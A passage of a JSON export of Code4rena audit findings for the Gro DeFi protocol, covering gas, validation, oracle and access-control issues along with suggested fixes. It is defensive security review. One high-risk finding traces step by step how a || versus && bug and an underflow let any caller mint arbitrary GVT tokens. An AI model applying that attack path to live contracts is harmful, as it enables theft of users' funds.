in the `stableToUsd` and `stableToLp` functions. "}, {"title": "Add a proper revert message in `_withdrawSingle`", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/120", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "Add a proper revert message in `_withdrawSingle`"}, {"title": "Unlocked pragma used in multiple contracts", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/117", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-06-gro-findings", "body": "Unlocked pragma used in multiple contracts"}, {"title": "function withdrawToAdapter should be inluded in the interface and return withdrawal amount", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/116", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-06-gro-findings", "body": "function withdrawToAdapter should be inluded in the interface and return withdrawal amount"}, {"title": "BaseVaultAdaptor assumes `sharePrice` is always in underlying decimals", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/114", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-06-gro-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The two `BaseVaultAdaptor.calculateShare` functions computes `share = amount.mul(uint256(10)**decimals).div(sharePrice)` ```solidity uint256 sharePrice = _getVaultSharePrice(); // amount is in \"token\" decimals, share should be in \"vault\" decimals share = amount.mul(uint256(10)**decimals).div(sharePrice); ``` This assumes that the `sharePrice` is always in _token_ decimals and that _token_ decimals is the same as _vault_ decimals. This both happens to be the case for Yearn vaults, but will not necessarily be the case for other protocols. As this functionality is in the `BaseVaultAdaptor` and not in the specific `VaultAdaptorYearnV2_032`, consider generalizing the conversion. ## Impact Integrating a token where the token or price is reported in a different precision will lead to potential losses as more shares are computed. ## Recommended Mitigation Steps The conversion seems highly protocol specific, `calculateShare` should be an abstract function like `_getVaultSharePrice`, that is implemented in the specific adaptors. "}, {"title": "strategiesLength should not be allowed to exceed MAX_STRATS", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/110", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor disputed"], "target": "2021-06-gro-findings", "body": "strategiesLength should not be allowed to exceed MAX_STRATS"}, {"title": "Rational actors will just set themselves as referral", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/108", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor disputed"], "target": "2021-06-gro-findings", "body": "Rational actors will just set themselves as referral"}, {"title": "Early user can break minting", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/107", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "Early user can break minting"}, {"title": "Usage of deprecated ChainLink API in `Buoy3Pool`", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/106", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-06-gro-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The Chainlink API (`latestAnswer`) used in the `Buoy3Pool` oracle wrappers is deprecated: > This API is deprecated. Please see API Reference for the latest Price Feed API. [Chainlink Docs](https://docs.chain.link/docs/deprecated-aggregatorinterface-api-reference/#latestanswer) ## Impact It seems like the old API can return stale data. Checks similar to that of the new API using `latestTimestamp` and `latestRoundare` are needed. This could lead to stale prices according to the Chainlink documentation: * [under current notifications: \"if answeredInRound < roundId could indicate stale data.\"](https://docs.chain.link/docs/developer-communications#current-notifications) * [under historical price data: \"A timestamp with zero value means the round is not complete and should not be used.\"](https://docs.chain.link/docs/historical-price-data#solidity) ## Recommended Mitigation Steps Add the recommended checks: ```solidity ( uint80 roundID, int256 price, , uint256 timeStamp, uint80 answeredInRound ) = chainlink.latestRoundData(); require( timeStamp != 0, \u201cChainlinkOracle::getLatestAnswer: round is not complete\u201d ); require( answeredInRound >= roundID, \u201cChainlinkOracle::getLatestAnswer: stale data\u201d ); require(price != 0, \"Chainlink Malfunction\u201d); ``` "}, {"title": "`Buoy3Pool._updateRatios` unsafe math", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/105", "labels": ["bug", "duplicate", "1 (Low Risk)"], "target": "2021-06-gro-findings", "body": "`Buoy3Pool._updateRatios` unsafe math"}, {"title": "`Buoy3Pool.safetyCheck` is not precise and has some assumptions", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/104", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-06-gro-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The `safetyCheck` function has several issues that impact how precise the checks are: 1. only checks if the `a/b` and `a/c` ratios are within `BASIS_POINTS`. By transitivity `b/c` is only within `2 * BASIS_POINTS` if `a/b` and `a/c` are in range. For a more precise check whether both USDC and USDT are within range, `b/c` must be checked as well. 2. If `a/b` is within range, this does not imply that `b/a` is within range. > \"inverted ratios, a/b bs b/a, while producing different results should both reflect the same change in any one of the two underlying assets, but in opposite directions\" Example: `lastRatio = 1.0` `ratio: a = 1.0, b = 0.8` => `a/b = 1.25`, `b/a = 0.8` If `a/b` was used with a 20% range, it'd be out of range, but `b/a` is in range. 3. The natspec for the function states that it checks Curve and an external oracle, but no external oracle calls are checked, both `_ratio` and `lastRatio` are only from Curve. Only `_updateRatios` checks the oracle. ## Recommended Mitigation Steps In addition, check if `b/c` is within `BASIS_POINTS`. "}, {"title": "`Allocaiton.calcProtocolExposureDelta` gas optimization", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/102", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-gro-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details `Allocaiton.calcProtocolExposureDelta` should break out of the loop to save gas after `protocolExposedDeltaUsd` is set. ```solidity if (protocolExposedDeltaUsd == 0 && protocolExposure[i] > sysState.rebalanceThreshold) { // ...Calculate the delta between exposure and target uint256 target = sysState.rebalanceThreshold.sub(sysState.targetBuffer); protocolExposedDeltaUsd = protocolExposure[i].sub(target).mul(sysState.totalCurrentAssetsUsd).div( PERCENTAGE_DECIMAL_FACTOR ); protocolExposedIndex = i; // @audit break here } ``` "}, {"title": "`Exposure.sortVaultsByDelta` does not work for N_COINS != 3", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/101", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor disputed"], "target": "2021-06-gro-findings", "body": "`Exposure.sortVaultsByDelta` does not work for N_COINS != 3"}, {"title": "`Insurance.getVaultDeltaForDeposit` returns wrong `investDelta`", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/98", "labels": ["bug", "duplicate", "1 (Low Risk)"], "target": "2021-06-gro-findings", "body": "`Insurance.getVaultDeltaForDeposit` returns wrong `investDelta`"}, {"title": "Wrong min amount check in `withdrawByStablecoin`", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/97", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "disagree with severity"], "target": "2021-06-gro-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The `WithdrawHandler.withdrawByStablecoin` incorrectly uses the `lpAmount` instead of the `minAmount` in the check. ```solidity require(lpAmount > 0, \"!minAmount\"); ``` ## Recommended Mitigation Steps Use `minAmount > 0` if trying to check for `!minAmount` or use a different error message for an invalid LP amount. "}, {"title": "Hardcoded 99 as deadcoin", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/96", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "Hardcoded 99 as deadcoin"}, {"title": "Loss of precision", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/95", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-06-gro-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact In Router.sol, there's a loss of precision that can be corrected by shifting the operations. ## Proof of Concept https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Router.sol#L274 ## Tools Used editor ## Recommended Mitigation Steps Consider rewriting L274-275 with `uint numerator = (_fees * reserve) / eraLength / maxTrades;`. "}, {"title": "RebasingGToken emits same events on transfer", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/91", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "RebasingGToken emits same events on transfer"}, {"title": "Missing parameter validation", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/90", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "Missing parameter validation"}, {"title": "event LogTransfer is only emitted in function transfer", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/88", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "event LogTransfer is only emitted in function transfer"}, {"title": "burnAll should check that factor > 0 and amount > 0", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/87", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-06-gro-findings", "body": "burnAll should check that factor > 0 and amount > 0"}, {"title": "totalAssets > withdrawUsd should be inclusive", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/86", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "totalAssets > withdrawUsd should be inclusive"}, {"title": "Two SafeApprove calls when it could be just one", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/84", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "Two SafeApprove calls when it could be just one"}, {"title": "Inconsistent usage of exponentiation for constants", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/83", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-06-gro-findings", "body": "# Handle GalloDaSballo # Vulnerability details ## Impact Detailed description of the impact of this finding. See Constants.sol, where you use 10**DECIMALS: https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/common/Constants.sol#L7 VS FixedContracts.sol, where you use 1E6: https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/common/FixedContracts.sol#L13 While both expressions result in the same values, I recommend picking one to avoid potential confusion "}, {"title": "Return False early in isValidBigFish", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/82", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "Return False early in isValidBigFish"}, {"title": "setBigFishThreshold above 100%", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/80", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-06-gro-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function setBigFishThreshold should require that _percent is not above PERCENTAGE_DECIMAL_FACTOR if it is not intended to have it over 100%. ## Recommended Mitigation Steps require _percent <= PERCENTAGE_DECIMAL_FACTOR "}, {"title": "withdrawal fee may be set above 100% or frontrunned", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/78", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "withdrawal fee may be set above 100% or frontrunned"}, {"title": "decimals of FixedStablecoins", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/77", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "decimals of FixedStablecoins"}, {"title": "updateStrategiesDebtRatio function and LogNewDebtRatios event", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/74", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "updateStrategiesDebtRatio function and LogNewDebtRatios event"}, {"title": "Unused code", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/71", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-06-gro-findings", "body": "Unused code"}, {"title": "Incorrect use of operator leads to arbitrary minting of GVT tokens", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/69", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-06-gro-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The distributeStrategyGainLoss() function distributes any gains or losses generated from a harvest and is expected to be called only by valid protocol vault adaptors. It is an externally visible function and the access control is indirectly enforced on msg.sender by checking that vaultIndexes[msg.sender] is a valid index range 1-4. However the operator used in the require() is || instead of &&, which allows an arbitrary msg.sender, i.e. attacker, to bypass the check. Scenario: An arbitrary non-vault address calling this function will get an index of 0 because of default mapping value in vaultIndexes[msg.sender] which will fail the > 0 check but pass the <= N_COINS + 1 check (N_COINS = 3) because 0 <= 4 which will allow control to go past this check. Furthermore, on L362, index=0 will underflow the -1 decrement (due to lack of SafeMath.sub and use of < 0.8.0 solc) and index will be set to (uint256_MAX - 1). This will allow execution to proceed to the else part of conditional meant for curve LP vault. Therefore, this will allow any random address to call this function with arbitrary values of gain/loss and distribute arbitrary gain/loss appearing to come from Curve vault. ## Proof of Concept The attack control flow: -> Controller.distributeStrategyGainLoss(ARBITRARY_HIGH_VALUE_OF_GAIN, 0) -> index = 0 passes check for the index <= N_COINS + 1 part of predicate on L357 in Controller.sol -> index = uint256_MAX after L362 -> gainUsd = ibuoy.lpToUsd(ARBITRARY_HIGH_VALUE_OF_GAIN); on L371 in Controller.sol -> ipnl.distributeStrategyGainLoss(gainUsd, lossUsd, reward); on L376 in Controller.sol -> (gvtAssets, pwrdAssets, performanceBonus) = handleInvestGain(lastGA, lastPA, gain, reward); on L254 in PnL.sol -> performanceBonus = profit.mul(performanceFee).div(PERCENTAGE_DECIMAL_FACTOR); on L186 of PnL.sol -> gvt.mint(reward, gvt.factor(gvtAssets), performanceBonus); on L256 in PnL.sol https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/Controller.sol#L355 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/Controller.sol#L356-L357 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/Controller.sol#L362 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/Controller.sol#L370-L371 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/Controller.sol#L376 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/pnl/PnL.sol#L253-L258 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Change || to && in require() on L357 of Controller.sol to prevent arbitrary addresses from going past this check. Or consider explicit access control for the authorized vault adaptors. "}, {"title": "Stricter than needed inequalities may affect borderline scenarios", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/67", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "Stricter than needed inequalities may affect borderline scenarios"}, {"title": "Unauthorized rebalanceTrigger calls may allow one to exploit arbitrage opportunity and put system at risk", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/66", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "Unauthorized rebalanceTrigger calls may allow one to exploit arbitrage opportunity and put system at risk"}, {"title": "Use of uninitialized value and unclear/unused logic", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/65", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-06-gro-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact vaultIndexes is uninitialized and it's unclear what 10000 signifies here. investDelta return value is also ignored at call site. If this is an indication of missed/incorrect logic, then it's risky. If not, removing will help readability/maintainability. ## Proof of Concept https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/insurance/Insurance.sol#L166 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/insurance/Insurance.sol#L155 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Evaluate any missing logic or else remove unused code. "}, {"title": "Whitelist addition/removal is done unconditionally", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/60", "labels": ["bug", "0 (Non-critical)", "disagree with severity"], "target": "2021-06-gro-findings", "body": "Whitelist addition/removal is done unconditionally"}, {"title": "Vault assets can be migrated to an arbitrary address at anytime by owner", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/59", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-06-gro-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact BaseVaultAdaptor contains logic that is \u201cbuilt on top of any vault in order for it to function with Gro protocol.\u201d One of such functions is the migrate() function which is onlyOwner and takes an address parameter which allows owner to migrate vault\u2019s entire balance at any time to that address. This is extremely risky because it gives an opportunity for, at least a perception of, rug-pull by a disgruntled/malicious owner/dev to the protocol users/community. This could also be dangerous if triggered accidentally especially by an EOA owner address or maliciously via compromised keys. Scenario1: Protocol launches and starts accumulating TVL. A savvy user analyzes source and shares the presence of this migrate() function as potential owner rug-pull vector. Users withdraw funds and protocol reputation takes a hit. Scenario 2: Protocol launches and hits 100MM TVL. A disgruntled dev/owner migrates vault assets to their address and drains the protocol. Scenario 3: Protocol launches and hits 100MM TVL. Owner EOA keys get compromised and attacker migrates vault assets to their address and drains the protocol. ## Proof of Concept https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/vaults/BaseVaultAdaptor.sol#L294-L302 See similar concern on migrate() functionality in ShibaSwap recently: Yearn dev https://twitter.com/bantg/status/1412370758987354116 https://twitter.com/bantg/status/1412388385663164425 Others https://twitter.com/valentinmihov/status/1412352490918625280 https://twitter.com/shegenerates/status/1412642215537545218 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Evaluate the need for this function and avoid/mitigate risk appropriately. "}, {"title": "Incorrect error strings used may cause confusion", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/58", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "disagree with severity"], "target": "2021-06-gro-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Error strings used in require checks should accurately reflect the failing condition. Use of informative/accurate error messages helps troubleshoot exceptional conditions during transaction failures or unexpected behavior. Otherwise, it can be misleading and waste crucial time during exploits or emergency conditions. While the codebase has this correct in most places, there are a few places where there appears to be a copy/paste error: Example 1: require(msg.sender == withdrawHandler || msg.sender == insurance, \"depositStable: !depositHandler\"); The error string should indicate \u201c!withdrawHandler/insurance\u201d instead of \u201c!depositHandler\u201d Example 2: require(msg.sender == _controller().insurance(), \"withdraw: !withdrawHandler/insurance\"); The error string should only indicate \u201c!insurance\u201d instead of \u201c!withdrawHandler/insurance\u201d ## Proof of Concept For reference, see Note 2 in OpenZeppelin's Audit of Compound Governor Bravo: https://blog.openzeppelin.com/compound-governor-bravo-audit/ https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/vaults/BaseVaultAdaptor.sol#L206-L211 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/vaults/BaseVaultAdaptor.sol#L228 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/pools/LifeGuard3Pool.sol#L162 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/pools/LifeGuard3Pool.sol#L285 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/Controller.sol#L405 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Check/fix error strings. "}, {"title": "Emergency disabling can only be done one stablecoin at a time", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/57", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "Emergency disabling can only be done one stablecoin at a time"}, {"title": "Critical protocol parameter configuration/changes should have sanity/threshold checks", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/56", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "Critical protocol parameter configuration/changes should have sanity/threshold checks"}, {"title": "Critical protocol parameter changes should have time-delayed enforcement", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/55", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "Critical protocol parameter changes should have time-delayed enforcement"}, {"title": "Enabling preventSmartContracts may lead to lock/loss of funds", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/54", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-06-gro-findings", "body": "Enabling preventSmartContracts may lead to lock/loss of funds"}, {"title": "The use of tx.origin for smart contract safe list is risky and not generic", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/53", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "The use of tx.origin for smart contract safe list is risky and not generic"}, {"title": "Flash loan risk mitigation is optional and not robust enough", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/52", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "Flash loan risk mitigation is optional and not robust enough"}, {"title": "Safe addresses can only be added but not removed", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/51", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-06-gro-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The addSafeAddress() takes an address and adds it to a \u201csafe list\". This is used in eoaOnly() to give exemption to safe addresses that are trusted smart contracts, when all other smart contacts are prevented from protocol interaction. The stated purpose is to allow only such partner/trusted smart contract integrations (project rep mentioned Argent wallet as the only one for now but that may change) an exemption from potential flash loan threats. But if there a safe listed integration that needs to be later disabled, it cannot be done. The protocol will have to rely on other measures (outside the scope of this contest) to prevent flash loan manipulations which are specified as an area of critical concern. Scenario: A trusted integration/partner address is added to safe list. But that wallet/protocol/DApp is later manipulated (by project, its users or an attacker) to somehow launch a flash loan attack on the protocol. However, its address cannot be removed from the safe list and the protocol cannot prevent flash loan manipulations from that source because of its exemption. Contract/project will have to be redeployed. ## Proof of Concept https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/Controller.sol#L171-L174 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/Controller.sol#L176-L178 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/Controller.sol#L266-L272 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Change addSafeAddress() to isSafeAddress() with an additional bool parameter to allow both enabling/disabling of safe addresses. "}, {"title": "Uninitialized vaults/addresses will lead to reverts", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/50", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "Uninitialized vaults/addresses will lead to reverts"}, {"title": "Missing zero-address check and event parameter for _emergencyHandler", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/49", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "disagree with severity"], "target": "2021-06-gro-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Controller setWithdrawHandler() is missing a zero-address check and event parameter for _emergencyHandler which is the more critical (used rarely but in an emergency incident-response that is always time-critical ) of the two addresses. Scenario: setWithdrawHandler() is accidentally called with _emergencyHandler = 0 address. Without a check or an event here, this error goes unnoticed (unless caught in the event from WithdrawHandler::setDependencies). There is an emergency triggered after which withdrawals are attempted via the emergencyHandler but they fail because of the zero address. The correct non-zero emergencyHandler has to be set again. Valuable time is lost and funds are lost. ## Proof of Concept https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/Controller.sol#L105-L110 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/WithdrawHandler.sol#L129 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/WithdrawHandler.sol#L158 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add zero-address check and event parameter for _emergencyHandler "}, {"title": "Having only owner unpause/restart is risky", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/48", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "Having only owner unpause/restart is risky"}, {"title": "Missing emits for declared events", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/47", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-06-gro-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Missing emits for declared events indicate potentially missing logic, redundant declarations or reduced off-chain monitoring capabilities. Scenario: For example, the event LogFlashSwitchUpdated is missing an emit in Controller. Based on the name, this is presumably related to flash loans being enabled/disabled which could have significant security implications. Or the (misspelled) LogHealhCheckUpdate which is presumably related to a health check logic that is missing in LifeGuard. ## Proof of Concept https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/Controller.sol#L83 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/pools/LifeGuard3Pool.sol#L48 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/vaults/BaseVaultAdaptor.sol#L61 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/vaults/BaseVaultAdaptor.sol#L62 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Evaluate if logic is missing and add logic+emit or remove event. "}, {"title": "Single-step process for critical ownership transfer is risky", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/46", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "disagree with severity"], "target": "2021-06-gro-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The Controller contract is arguably the most critical contract in the project for access control management (it has 17 onlyOwner functions). Given that it is derived from Ownable, the ownership management of this contract (also Whitelist and Controllable) defaults to Ownable\u2019s transferOwnership() and renounceOwnership() methods which are not overridden here. Such critical address transfer/renouncing in one-step is very risky because it is irrecoverable from any mistakes. The same applies to the changing of controller\u2019s address in contracts deriving from Controllable using setController(). Scenario: If an incorrect address, e.g. for which the private key is not known, is used accidentally then it prevents the use of all the onlyOwner() functions forever, which includes the changing of various critical addresses and parameters. This use of incorrect address may not even be immediately apparent given that these functions are probably not used immediately. When noticed, due to a failing onlyOwner() function call, it will force the redeployment of these contracts and require appropriate changes and notifications for switching from the old to new address. This will diminish trust in the protocol and incur a significant reputational damage. ## Proof of Concept See similar High Risk severity finding from Trail-of-Bits Audit of Hermez: https://github.com/trailofbits/publications/blob/master/reviews/hermez.pdf See similar Medium Risk severity finding from Trail-of-Bits Audit of Uniswap V3: https://github.com/Uniswap/uniswap-v3-core/blob/main/audits/tob/audit.pdf https://github.com/OpenZeppelin/openzeppelin-contracts/blob/b9e2c7896d899de9960f2b3d17ca04d5beb79e8a/contracts/access/Ownable.sol#L46-L64 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/Controller.sol#L38 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/Controller.sol#L101 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/Controller.sol#L105 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/Controller.sol#L112 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/Controller.sol#L137 And many other onlyOwner functions such as setController(): https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/common/Controllable.sol#L35-L40 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Override the inherited methods to null functions and use separate functions for a two-step address change: 1) Approve a new address as a pendingOwner 2) A transaction from the pendingOwner address claims the pending ownership change. This mitigates risk because if an incorrect address is used in step (1) then it can be fixed by re-approving the correct address. Only after a correct address is used in step (1) can step (2) happen and complete the address/ownership change. Also, consider adding a time-delay for such sensitive actions. And at a minimum, use a multisig owner address and not an EOA. "}, {"title": "Missing input validation on _feeToken in DepositHandler constructor and setFeeToken()", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/45", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "disagree with severity"], "target": "2021-06-gro-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact There is no input validation on _feeToken in constructor to check if it's referring to a valid index (only USDT=2 makes sense) in the stablecoins similar to the check in setFeeToken(), which cannot be done here because the controller variable is only set later in setDependencies(). Also, given that it is set to true and that only USDT has this capability, the constructor should really check if this value is 2 and nothing else. Also, setFeeToken() should only allow an index of 2 for now. Scenario: Incorrectly using a _feeToken value other than 2 will cause an unnecessary balance check because of the presumed transfer fees for that token which does not exist. ## Proof of Concept https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/DepositHandler.sol#L56 